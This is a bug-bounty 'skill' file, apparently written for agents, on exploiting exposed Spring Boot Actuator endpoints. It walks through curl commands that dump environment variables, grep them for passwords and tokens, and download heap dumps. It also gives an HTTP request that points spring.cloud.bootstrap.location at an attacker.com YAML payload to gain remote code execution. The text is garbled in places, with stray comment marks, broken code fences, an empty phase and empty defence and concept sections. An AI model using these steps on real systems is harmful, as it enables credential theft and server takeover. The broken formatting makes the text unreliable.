Spring boot actuator abuse
Skill ShulkwiSEC/bb-huge/skills/curated/spring-boot-actuator-abuse
bb-huge 🤗 , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
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Identify and exploit misconfigured Spring Boot Actuator endpoints. This skill covers how to extract sensitive configuration details, heap dumps, environment variables, and ultimately escalating to Remote Code Execution (RCE) via `spring-cloud-starter` vulnerabilities.
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SKILL.md
5.0 KB, ~1.2k tokens by cl100k_base, as published. Nobody here has run it
Spring Boot Actuator Abuse
When to Use
- When auditing Java Spring Boot applications that expose monitoring and management endpoints (commonly
/actuator). - To extract sensitive environment variables, hidden credentials, or potentially achieve RCE when Spring Cloud routing is enabled.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Identifying Actuator Endpoints
# curl -s http://target.com/actuator/ | jq .
curl -s http://target.com/actuator/env | jq .
curl -s http://target.com/actuator/mappings | jq .
Phase 2: Extracting Sensitive Information
# curl -s http://target.com/actuator/env | grep -i "password\|secret\|key\|token"
# curl -O http://target.com/actuator/heapdump
jhat heapdump # ```
### Phase 3: RCE via `spring-cloud-starter` (SnakeYAML)
```http
# POST /actuator/env HTTP/1.1
Host: target.com
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://attacker.com/yaml-payload.yml"}
# POST /actuator/refresh HTTP/1.1
Host: target.com
Content-Type: application/json
Phase 4: Exploiting Logstash / Logback Configuration
# ```
#### Decision Point 🔀
```mermaid
flowchart TD
A[Discover Actuator ] --> B{Sensitive Exposed ]}
B -->|Yes| C[Dump Data ]
B -->|No| D[Check Cloud ]
D -->|Post Allowed | E[Exploit RCE ]
🔵 Blue Team Detection & Defense
- Disable/Restrict Endpoints: Network Segmentation: Dependency Updates: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Spring Boot Actuator Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
💰 Industry Bounty Payout Statistics (2024-2025)
| Company/Platform | Total Paid | Highest Single | Year |
|---|---|---|---|
| Google VRP | $17.1M | $250,000 (CVE-2025-4609 Chrome sandbox escape) | 2025 |
| Microsoft | $16.6M | (Not disclosed) | 2024 |
| Google VRP | $11.8M | $100,115 (Chrome MiraclePtr Bypass) | 2024 |
| HackerOne (all programs) | $81M | $100,050 (crypto firm) | 2025 |
| Meta/Facebook | $2.3M | up to $300K (mobile code execution) | 2024 |
| Crypto.com (HackerOne) | $2M program | $2M max | 2024 |
| 1Password (Bugcrowd) | $1M max | $1M (highest Bugcrowd ever) | 2024 |
| Samsung | $1M max | $1M (critical mobile flaws) | 2025 |
Key Takeaway: Google alone paid $17.1M in 2025 — a 40% increase YoY. Microsoft paid $16.6M. The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
References
- HackTricks: Spring Boot Penetration Testing
- Veracode: Exploiting Spring Boot Actuators